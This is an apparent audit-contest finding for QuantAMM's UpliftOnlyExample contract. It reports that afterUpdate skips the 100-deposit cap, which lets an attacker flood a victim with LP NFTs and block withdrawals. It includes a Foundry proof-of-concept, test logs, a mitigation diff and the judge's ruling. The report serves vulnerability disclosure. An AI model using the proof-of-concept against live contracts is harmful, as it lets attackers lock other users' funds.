QuantAMM

QuantAMM
49,600 OP
View results
Submission Details
Severity: medium
Valid

Inadequate Deposit Check During NFT Transfers Leads to Potential DoS

01. Relevant GitHub Links

02. Summary

UpliftOnlyExample contract enforces a limit of 100 deposits per user to prevent Denial-of-Service (DoS). However, while the deposit count is checked when a user directly calls the addLiquidityProportional function, there is no corresponding check when an LP NFT is transferred from one address to another. As a result, an attacker can flood a victim’s wallet with multiple LP NFTs (exceeding 100).

Because liquidity is withdrawn in First-In-Last-Out (FILO) order, if an attacker sends the victim many “fake” deposits after the victim’s legitimate deposit, the victim’s original deposits may never be removed, effectively locking their assets.

03. Vulnerability Details

  1. Deposit Limit Check Only at Deposit:

The contract limits a single user to a maximum of 100 deposits by throwing an error (TooManyDeposits(pool, msg.sender)) during direct calls to the addLiquidityProportional function.

function addLiquidityProportional(
address pool,
uint256[] memory maxAmountsIn,
uint256 exactBptAmountOut,
bool wethIsEth,
bytes memory userData
) external payable saveSender(msg.sender) returns (uint256[] memory amountsIn) {
if (poolsFeeData[pool][msg.sender].length > 100) {
revert TooManyDeposits(pool, msg.sender);
}
  1. Lack of Check During LP NFT Transfers:

When an LP NFT is transferred (afterUpdate function), the receiver’s deposit count is not validated. Attackers can exploit this by transferring more than 100 NFTs to a single address, bypassing the intended limit.

function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
if (poolAddress == address(0)) {
revert TransferUpdateTokenIDInvaid(_from, _to, _tokenID);
}
int256[] memory prices = IUpdateWeightRunner(_updateWeightRunner).getData(poolAddress);
uint256 lpTokenDepositValueNow = getPoolLPTokenValue(prices, poolAddress, MULDIRECTION.MULDOWN);
FeeData[] storage feeDataArray = poolsFeeData[poolAddress][_from];
uint256 feeDataArrayLength = feeDataArray.length;
uint256 tokenIdIndex;
bool tokenIdIndexFound = false;
//find the tokenID index in the array
for (uint256 i; i < feeDataArrayLength; ++i) {
if (feeDataArray[i].tokenID == _tokenID) {
tokenIdIndex = i;
tokenIdIndexFound = true;
break;
}
}
if (tokenIdIndexFound) {
if (_to != address(0)) {
// Update the deposit value to the current value of the pool in base currency (e.g. USD) and the block index to the current block number
//vault.transferLPTokens(_from, _to, feeDataArray[i].amount);
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
//actual transfer not a afterTokenTransfer caused by a burn
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
if (tokenIdIndex != feeDataArrayLength - 1) {
//Reordering the entire array could be expensive but it is the only way to keep true FILO
for (uint i = tokenIdIndex + 1; i < feeDataArrayLength; i++) {
delete feeDataArray[i - 1];
feeDataArray[i - 1] = feeDataArray[i];
}
}
delete feeDataArray[feeDataArrayLength - 1];
feeDataArray.pop();
}
}
}
  1. Denial-of-Service:

The contract removes liquidity in a FILO manner by iterating backwards through a user’s FeeData array. If enough “fake” deposits (NFTs) are added to the end of this array, it becomes practically impossible for the victim’s earlier deposits to be reached in the loop. Consequently, the victim can never fully withdraw their liquidity.

Even if the contract operates in a FIFO manner, executing this attack on a specific address would result in future liquidity additions by the user being permanently locked, as the contract would be overwhelmed by the attacker-sent deposits.

04. Impact

  • DoS on Liquidity Removal:

A user with legitimate liquidity positions can be permanently locked out of removing their assets because the system attempts to iterate through attacker-injected deposits first.

  • Financial Loss / Asset Lock:

The locked liquidity becomes inaccessible indefinitely, posing a severe risk to the victim’s funds.

05. Proof of Concept

function test_poc_before_transferNullLpDoS() public {
// setup
vm.txGasPrice(1);
deal(address(dai), alice, dai.balanceOf(bob));
deal(address(usdc), alice, usdc.balanceOf(bob));
// Alice addLiquidity
uint256[] memory maxAmountsIn = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
vm.prank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount / 2, false, bytes(""));
// Alice removeLiquidity Before attack
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
uint256 gasStart = gasleft();
vm.prank(alice);
upliftOnlyRouter.removeLiquidityProportional(bptAmount / 2, minAmountsOut, false, pool);
uint256 gasEnd = gasleft();
uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
console.log("Gas cost of before attack:", gasUsedFirst);
}
function test_poc_transferNullLpDoS() public {
// setup
vm.txGasPrice(1);
deal(address(dai), alice, dai.balanceOf(bob));
deal(address(usdc), alice, usdc.balanceOf(bob));
// Alice addLiquidity
uint256[] memory maxAmountsIn = [dai.balanceOf(alice), usdc.balanceOf(alice)].toMemoryArray();
vm.prank(alice);
upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount / 2, false, bytes(""));
// Bob transfer 2000 NFT to Alice
maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
vm.startPrank(bob);
uint256 bptAmountDeposit = 1;
LPNFT lpNft = upliftOnlyRouter.lpNFT();
uint256 expectedTokenId = 2;
uint256 bobUsedDai;
uint256 bobUsedUsdc;
for (uint256 i = 0; i < 2000; i++) {
uint256[] memory amountsIn = upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmountDeposit, false, bytes(""));
bobUsedDai += amountsIn[0];
bobUsedUsdc += amountsIn[1];
lpNft.transferFrom(bob, alice, expectedTokenId);
expectedTokenId = expectedTokenId + 1;
}
vm.stopPrank();
console.log("Bob Used Dai: ", bobUsedDai);
console.log("Bob Used Usdc: ", bobUsedUsdc);
// Alice removeLiquidity after attack
uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
uint256 gasStart = gasleft();
vm.prank(alice);
upliftOnlyRouter.removeLiquidityProportional(bptAmount / 2, minAmountsOut, false, pool);
uint256 gasEnd = gasleft();
uint256 gasUsedFirst = (gasStart - gasEnd) * tx.gasprice;
console.log("Gas cost of after attack:", gasUsedFirst);
}
(hackenv) bshyuunn@hyuunn-MacBook-Air pool-hooks % forge test --mt test_poc_before_transferNullLpDoS -vvv
[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] test_poc_before_transferNullLpDoS() (gas: 723838)
Logs:
Gas cost of before attack: 195838
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 37.29ms (3.21ms CPU time)
bshyuunn@hyuunn-MacBook-Air pool-hooks % forge test --mt test_poc_transferNullLpDoS -vv
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/foundry/UpliftExample.t.sol:UpliftOnlyExampleTest
[PASS] test_poc_transferNullLpDoS() (gas: 689227832)
Logs:
Bob Used Dai: 2000
Bob Used Usdc: 2000
Gas cost of after attack: 17139709
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.10s (4.88s CPU time)
Ran 1 test suite in 5.11s (5.10s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

06. Tools Used

Manual Code Review and Foundry

07. Recommended Mitigation

A simple yet effective fix is to replicate the deposit limit check in the afterUpdate function. By validating the recipient’s deposit count prior to adding a new entry to their poolsFeeData, attackers can no longer overload a victim’s wallet with excessive NFTs.

function afterUpdate(address _from, address _to, uint256 _tokenID) public {
if (msg.sender != address(lpNFT)) {
revert TransferUpdateNonNft(_from, _to, msg.sender, _tokenID);
}
address poolAddress = nftPool[_tokenID];
...
if (tokenIdIndexFound) {
if (_to != address(0)) {
feeDataArray[tokenIdIndex].lpTokenDepositValue = lpTokenDepositValueNow;
feeDataArray[tokenIdIndex].blockTimestampDeposit = uint32(block.number);
feeDataArray[tokenIdIndex].upliftFeeBps = upliftFeeBps;
+ // New check to prevent receiving more than 100 deposits
+ if (poolsFeeData[pool][_to].length > 100) {
+ revert TooManyDeposits(pool, _to);
+ }
poolsFeeData[poolAddress][_to].push(feeDataArray[tokenIdIndex]);
...
}
}
}

By placing this additional check, transfers that would exceed the 100-deposit limit are reverted, preventing Denial-of-Service attacks.

Updates

Lead Judging Commences

n0kto Lead Judge 11 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_afterUpdate_does_not_check_limit_NFT_per_user

Likelihood: Medium/High, anyone can receive an unlimited NFT number but will cost creation of LP tokens and sending them. Impact: Low/Medium, DoS the afterUpdate and addLiquidityProportional but will be mitigable on-chain because a lot of those NFT can be burn easily in onAfterRemoveLiquidity.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!